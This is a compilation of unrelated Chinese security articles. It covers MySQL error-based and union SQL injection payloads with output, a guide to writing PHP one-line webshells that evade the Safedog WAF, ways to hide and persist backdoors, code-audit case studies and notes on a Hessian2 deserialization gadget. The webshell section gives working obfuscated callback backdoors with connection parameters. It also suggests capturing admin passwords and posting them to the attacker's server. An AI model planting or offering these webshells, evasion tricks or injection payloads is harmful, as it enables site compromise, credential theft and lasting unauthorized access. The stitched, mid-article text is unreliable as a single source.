从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
| |
+------------------------+
1 row in set (0.01 sec)
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
0x03 主键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
这种报错方法的本质是因为floor(rand(0)*2)
的重复性,导致group by语句出错。group by key
的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:
mysql> select * from test;
+------+-------+
| id | name |
+------+-------+
| 0 | jack |
| 1 | jack |
| 2 | tom |
| 3 | candy |
| 4 | tommy |
| 5 | jerry |
+------+-------+
6 rows in set (0.00 sec)
我们以select count(*) from test group by name
语句说明大致过程如下:
- 先是建立虚拟表,其中key为主键,不可重复:
key | count(*) |
---|---|
- 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count(*)字段直接加1:
key | count(*) |
---|---|
jack | 1 |
key | count(*) |
---|---|
jack | 1+1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
candy | 1 |
当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2)
,看看每一步是什么情况:
- 先建立空表
key | count(*) |
---|---|
- 取第一条记录,执行
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2)
,将结果1(第二次计算)插入虚表,如下:
key | count(*) |
---|---|
1 | 1 |
- 查第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)值加1,如下:
key | count(*) |
---|---|
1 | 1+1 |
- 查第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2)
,结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。 - 最终报错的结果,即主键’1’重复:
mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
整个查询过程中,floor(rand(0)*2)
被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。关于这个rand()的问题,官方文档在这里有个说明:
RAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.
如果有一个序列开头时0,1,0
或者1,0,1
,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count(*)加1了:
mysql> select floor(rand(1)*2) from test;
+------------------+
| floor(rand(1)*2) |
+------------------+
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
mysql> select count(*) from test group by floor(rand(1)*2);
+----------+
| count(*) |
+----------+
| 3 |
| 3 |
+----------+
2 rows in set (0.00 sec)
0x04 一些特性
列名重复
mysql列名重复会报错,我们利用name_const来制造一个列:
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。
利用这个特性加上join函数可以爆列名:
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
几何函数
mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
参考资料:
http://codecloud.net/60086.html
http://www.jinglingshu.org/?p=4507
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
Php一句话后门过狗姿势万千之后门构造与隐藏【一】
写在前面:
过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面。
但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会有收获,但是个人水平有限,可能您觉得文章水平过低,或者并无太大营养。但是跳出文章本身,无论何种技术,重在交流,分享与总结。
另外,希望年轻人不要有太多戾气,更多的是需要保持一个谦逊态度对待技术,尤其是这个浮躁的安全界。
以上是我的开场白(没办法,这是我的一贯风格)
写php后门连载的目的。
希望大家能够暂缓日站的脚步,静下心来想一想,我们在用菜刀做一些除(sang)暴(jin)安(tian)良(liang)的事的时候,php做了些什么,安全狗又蜷缩在门后目睹了些什么。
其实我更愿意传授安全之道,而非渗透之术。
参考过网上很多种已有的php后门的写法,总之思路各种奇葩与新奇,但是衡量一个优秀的php后门并不是单单的看代码多少,过狗怎么样,而是一种基于实际场景的一种变通,所以,php后门这是一门艺术。
连接后门时发生了什么
所以当我在菜刀中双击连接的时候到底发生了什么,安全狗又是如何发现后门并拦截的?
php后门原理很简单,当我们连接时,实际上我们会向php文件post数据,这个数据的内容为我们需要php去执行的代码,当php获取到数据并执行后,将返回一个response。
那么waf能够识别到什么层次?
其实waf最多获取到tcp数据,也就是说,可以获取到我们所post的数据,与服务器所返回的数据,至于php执行命令的过程,用了什么对象,走了什么函数,大部分waf是无法得知的,只能检测敏感字符的提交与返回,与特征查杀。
所以即使是eavl()这个最原始的函数php如何去执行,waf是不管的,但是实际情况你可能还没到那一步,后门就被和谐了。
因为在此之前waf肯定要对后门文件进行特征分析,这关过了,才到数据层,最后才到返回层,那么接下来第二章与第三章将从后门构造与数据提交角度来探讨过狗的方式。
由于waf软件众多,防护机制不尽相同,我的一系列文章全部以安全狗为例。
WAF如何查杀
首先,后门写入的方式有很多,比如程序本身的move函数,远程包含,数据库导出等等方式,在这里就不详细展开了,
在后门写入过程中,waf首先会对文件的格式进行一个黑白名单检测,如一律不允许php文件上传。
如果上传这一步可以过,那么接下来就是对上传的文件内容进行被动查杀。
而后门特征的查杀一般在后门上传的过程与访问的过程,waf会使用相关的正则与代码预编译来判断是否为危险代码。
以前还经常有用字符串叠加或者加注释来躲避字符串匹配,但是现在很难单纯靠这种方式来绕过了。
当我们的代码本身可以过狗,加工post数据后门执行也没有问题后,最后就是WAF对返回的敏感信息进行检测与过滤了。
除此之外WAF可能会对特殊上传的文件进行权限控制,例如无法执行某些命令等等。
理论篇其实本身并没有太多的东西可说,更多的是希望大家对于WAF有个初步的认识,不要盲(qiang)目(xing)过狗,滥用菜刀。
那么下面两篇文章会分别从后门构造篇与数据传输篇来阐述过狗的来龙去脉。
其实狗狗还是很可耐的额。
后门构造思路,与安全狗文件特征检测的机制。
另外强调一下,这篇文章需要大家对于php有一定的认识。
本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础;第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路;第三部分主要分享后门隐藏之道。
声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀!
目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被动主要就在于你访问该文件的时候,对该文件就行查杀,比如链接菜刀的时候。
因为安全狗对后门的查杀其实就是对代码的一个预编译,去除注释等无用代码,遇到if,直接检查if内部内容。
安全狗获取其他各种waf有什么样的特征库,我们并不能全部知晓,我们能做的只有一点点尝试,WAF永远在更新,黑阔门永远在换套路,几乎没有一劳永逸的后门。
说明:如果想更好的过狗,那么php是必须要会的,为了尽量照顾到不会php的同学,本文分享一些猥琐思路弥补一下。
先来一个最简单的过狗后门
下面分享的几个一句话都是可以直接过狗的,虽然很简单,但此之前,我们来遛一遛狗。
<?php $_GET[a](https://xianzhi.aliyun.com/forum/topic/342/$_GET);?>
当然,想要完美过狗,执行更多命令,还需要数据层加工,详情参考第三章。
经典的回调函数
很多时候并不是给变量多一层加密就安全,其实很多waf对base64_decode相当敏感。
例如:
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx参数直接传入一个assert函数,sofia参数传入assert(eval(‘执行代码’))。
直接暴出array_map后门,试试去掉base64?
没错,就这么简单,最危险的地方就是最安全的地方,起码文件特征安全狗确实没有检测出来。
然而这个一句话D盾是四级的,因为稍微懂点的人都能看出来是个后门。
但是距离实际意义上的过狗还是远远不够的,还需要数据层加工,详情参考第三章。之后你会发现,就这个一句话修改下post数据,可以完整过狗。
不卖关子:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 :vuln
再来一个回调后门
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
?>
这是我之前修改过的一个版本,这里用的其实还是preg_replace后门,也是通过回调函数来实现执行,同样可以过:
详解:
带入参数:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>
网上有很多现成的回调函数或者其他方式来过特征检测,再这里就不重复造轮子了。
后门隐藏
权限维持也是渗透中重要的环节,隐藏的不到位第二天就掉权限,猥琐的后门能一辈子跟随。
方法一:远程读取或者include文件
这个方法比较常见,如:
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
但是就个人而言,我一眼看上就觉得有鬼,哪个正常程序会鬼畜到包含一个日志文件或者图片,当然也要根据场景来定。
方法二:
将代码放到核心函数文件中,做好文件时间修改,只要查杀不出来,一般站长也不会去动核心文件,也是具有一定隐蔽性的,
方法三:创建类或者函数,分离后门代码
这样的话基本上很难查杀了,比如再global_function.php类的文件中创建一个类,或者函数,在所调用这个核心函数的相关文件中实例化一个类,调用函数,那么也是妥妥执行的。
如:把class放到核心类文件中,在相关的调用文件中放入执行代码,隐蔽性会加强很多。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//执行代码
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
方法四:直接加密代码
其实这就只是eval($_POST[x])加密后的结果,还需要构造什么?但是在渗透过程中可用性并不是很高,很多时候要写入后门代码,这根本没法写的,只能作为一种维持手段。
方法五:创建手工后门
php不仅可以获取get,post数据还是可以获取server数据的,如user-agent,referrer,cookie,client ip,所以我们完全可以在这些参数中加入需要执行的代码,但需要注意的是有的参数日志中会记录,这里仅提供思路,大家根据实际情况取发挥。
方法五:间接维持后台权限
可以直接在后台登陆页所include的核心函数中加入获取用户名密码的代码,如直接生成到本地服务器的一个txt中(可以加密下),记住这个隐蔽的url,时不时就会有密码记录,或者远程post密码到自己的服务器上。
可以在后台页面中插入一个xss,这种效率相对较低,但是也是一种思路。
方法六:来硬的
这种方法只能针对中小站长,找到一个网站的核心但是又不常用的文件,比如lang文件等等,将自己后门加入,然后将整个文件加密,再替换源文件,功能一切正常,站长对这类文件不会起太大疑心。
这个思路也可以结合方法三。
方法七:php.ini后门
修改php.ini配置来达到每个页面都执行某个后门,每个php都是后门,比如可以配置auto_prepend_file,自动加载某个文件,这部分后期抽时间再单独写出来。
代码审计的艺术系列-第十三篇
作者:HackBraid
0x01 背景
代码和命令执行也是获取服务器权限的最直接有效的方法,这篇讲的就是代码审计中代码执行的安全问题。
0x02 危险函数
危险函数主要参考了Seay的代码审计那本书,有下面几个:
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
0x03 eval案例
之前审计过Destoon这款CMS,发现后台一处代码执行漏洞,漏洞位于admin/tag.inc.php
可以很直观看到$tag_code未经过危险字符的过滤就直接被eval执行了两次。
直接赋值给tag_code=phpinfo()可以查看下当前网站的基本信息,我们可以结合echo命令来进一步达到命令执行的效果如下:
代码审计的艺术系列-第十二篇
作者:HackBraid
0x01 背景
设计缺陷和逻辑相关的漏洞是目前漏洞挖掘者比较关注的,最近在国外漏洞披露平台hackerone上就有位白帽子挖掘到了Uber的一个修改任意账户密码的逻辑漏洞获得了10000$的丰厚奖励。所以如何在源码中找逻辑漏洞是安全和开发人员必须熟悉的技能,主要总结了安装问题、找回密码这两篇内容,这篇讲的是代码审计中找回密码的设计缺陷导致的任意用户密码重置的安全问题。
找回密码的原理:验证auth,在找回密码的时候生成一个auth,然后存储到数据库中,然后把找回密码的地址发到邮箱中 url中就含有auth,由用户点开后就能修改密码。
0x02 rand函数生成auth
Windows环境下rand()最大值为32768,所以可被穷举,使用不当就会出现漏洞。之前出现过的漏洞代码如下:
可以看到重置密码链接就两个参数,一个是邮箱另外一个就是auth,然而auth是使用了rand()函数生成的,所以我们可以写个脚本生成1-32768的md5值,然后使用burp来Fuzz就能重置任意用户密码了。
生成1-32768的md5脚本如下:
之后我们以重置管理员admin@admin.com的密码为例,首先抓重置密码的包并设置好变量如下:
然后爆破resetpwd这个auth字段,发现爆破成功!
0x03 auth过于简单可被猜解跟与rand函数生成auth类似,这里讲另外一个auth生成的算法,算法中的Key没初始化导致的可被枚举,缺陷代码如下:
简单分析可知这里重置密码的auth是由$encryptstring=md5($this->time.$verification.$auth);
这段代码生成的,而$this->time
和$vertification=rand(1000,9999)
都是可控的变量(一个是当前时间的时间戳、一个是1000-9999随机的数值,这两个可以生成一个字典),所以关键点就是$auth
,我们跟进strcode
函数
函数里有个$key
是生成$auth
的关键,而$key
是对一个字符串进行了截取操作,里面$_SERVER[“HTTP_USER_AGENT”]
是我们请求header里的user_agent变量,用户可控;后面有个PP_KEY居然没有初始化,至此$key
也可控了即$auth
可控,最终就可以构造找回密码链接来重置任意账户密码了。
代码审计的艺术系列-第十一篇
作者:HackBraid
0x01 设计缺陷&&逻辑漏洞挖掘的脑图:
0x02 无任何验证 :
程序安装完成后不会自动删除安装文件,也不会生成lock来判断是否安装过导致的重装漏洞,之前出现过的漏洞代码如下:
install/index.php
install的引导文件里没有判断lock导致可以直接重装
0x03 代码的逻辑问题 :
1.Step1判断lock文件可直接Step2绕过
install/index.php的缺陷代码和分析如下:
- 判断lock文件的代码有问题
还有一种是在判断lock文件是否存在的代码上有问题了,我们看下缺陷代码:
可以看到这里判断了Lock是否存在,但是if(file_exists($lockfile) && ($_a==’template’ || $_a==’setting’ || $_a==’check’)这里除了判断lock还判断了$_a,并且使用&&导致$_a为空时就绕过了lock的验证最终导致可继续重装。
0x04 变量覆盖 :
在install/index.php中
file_exists($insLockfile)这里判断lock文件是否存在并退出,但是这行代码foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);存在变量覆盖,所以可以直接将$insLockfile变量覆盖为1就使得file_exists($insLockfile)的返回为0,从而可以继续重装。
0x05 判断lock后无exit :
缺陷代码如下:
检查是否存在install.lock,然后用javascript的方式告诉用户“系统已安装过”,然后跳转。问题在于这个脚本根本还没有使用exit函数来结束,程序会继续运行,导致可继续重装。
代码审计的艺术系列-第一篇
作者:HackBraid
0x02 准备
知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
测试代码和sql:http://pan.baidu.com/s/1eRIReOa
0x03 代码审计脑图
脑图主要总结了SQL注入、代码&&命令执行、文件操作相关以及设计缺陷四种常见漏洞,每种漏洞又有很多种情况和案例,所以后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL注入漏洞。
0x04 SQL注入入门
现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。
Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:
<?php
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET['id']) ? $_GET['id'] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
浏览器输入:http://localhost/sqltest/news.php?id=1 ,发现输出了一条新闻的标题和内容如下图:
然后我们输入”http://localhost/sqltest/news.php?id=1 and 1=1”,发现返回了跟上面一样的结果,然后我们查了下sql查询的日志,成功执行的sql语句如下:
SELECT * FROM news WHERE id=1 and 1=1
然后看了下数据库表news里有三个字段,我们构造一个union联合查询的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,3”,页面输出了2和3:
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,2,3
2和3都是输出点,我们可以构造获取MySql数据库的用户名的语句”http://localhost/sqltest/news.php?id=-1union select 1,user(),3”,页面输出了root@localhost:
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,user(),3
进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin”
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,2,concat(name,0x23,pass) from admin
关于Hessian2二次反序列化中我学到了几点
前言
我的疑问主要是在虎符比赛期间读到了Ruilin大佬的”后反序列化漏洞”关于Gadget1.java中的注释产生的,部分代码如下图。
本文主要分享关于Hessian2通过Rome链两次反序列化完成恶意EvilTemplatesImpl注入中一些可能需要注意的点。
阅读需要了解Hessian2中的Rome链触发机制,本文不再赘述,文中若有错误敬请指正。
1. 关于TemplatesImpl
首先描述TemplatesImpl的触发机制中的重要方法getOutputProperties
:
-
getOutputProperties可以调用
newTransformer
-
newTransformer会调用getTransletInstance()来创建恶意类
-
getTransletInstance会进入到defineTransletClasses中(name不能为空,_class必须为空才能进入defineTransletClasses)
-
最后要注意defineTransletClasses的几个点,其中_tfactory是要着重注意的,此处是为何需要调用二次反序列化的关键之处
2. 关于反序列化的注意事项
其次,关于反序列化部分需要清楚如下几点:
-
关于Hessian2,Hessian2Input与Hessian2Output 均不能对transient修饰的成员进行序列化或者反序列化
-
对于ObjectInput与ObjectOutput,除非相关类对readObject或者writeObject进行了重写,否则也无法对transient修饰的成员的变量做操作
-
TemplateImpl的
_tfactory
属性虽然是transient修饰,但其重写了readObject方法,方法中会生成_tfactory的实例,这或许在本文需要着重注意。 图一
图二
综上三点,我们可以清楚,TemplatesImpl在调用重写的readObject()时_tfactory会被实例化,那么ToStringBean遍历并调用getOutputProperties方法时,内部的_tfactory.getExternalExtensionsMap()
调用也就不会出”NullPointerException”和”InvocationTargetException”了。
同时,由于Hessian2的反序列化特性无法对_tfactory进行保护,所以也就无法直接使用TemplatesImpl。
3. SignedObject的作用
此类是在sofastack/sofa-hessian的黑名单中看到的。
SignedObject使用ObjectInput.readObject和ObjectOutput.writeObject对Serializable类进行操作,字节码存储在this.content
,反序列化可以通过getObject函数来调用,并且由于是getter的缘故,所以也可以在ToStringBean的toString方法中被调用。因此可以用于解决上文TemplatesImpl中提到的_tfactory为空的问题。
用法如下:
Student
public class Student implements Serializable {
private int age = 11;
private String name ="hezhi";
private transient String nickName = "alps";
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
//强制反序列化name
this.nickName = "whoami";
}
@Override
public String toString() {
return "Student{" +
"age=" + age +
", name='" + name + '\'' +
", nick='" + nickName + '\'' +
'}';
}
}
Main
public static void main(String[] args) throws Exception {
Student student = new Student();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(student, privateKey, signature);
Student aaa = (Student) signedObject.getObject();
System.out.println(aaa);
}
4. 总结
由于不够熟悉常用链,导致我在debug的过程中产生了很多的误区,最后感谢这么多巨人的肩膀。
5. 参考:
[笑花大王 CommonsCollections3分析]:https://www.cnblogs.com/xhds/p/15732776.html#_label1_0
[Ruilin Java”后反序列化漏洞”利用思路]:http://rui0.cn/archives/1338
[Ruilin Gadget1.java]:https://github.com/Ruil1n/after-deserialization-attack/blob/master/src/main/java/cn/rui0/idea/Gadget1.java
[D4ck Hessian 反序列化漏洞分析]:https://www.anquanke.com/post/id/209251#h3-17
[sofastack/sofa-hessian]:https://github.com/sofastack/sofa-hessian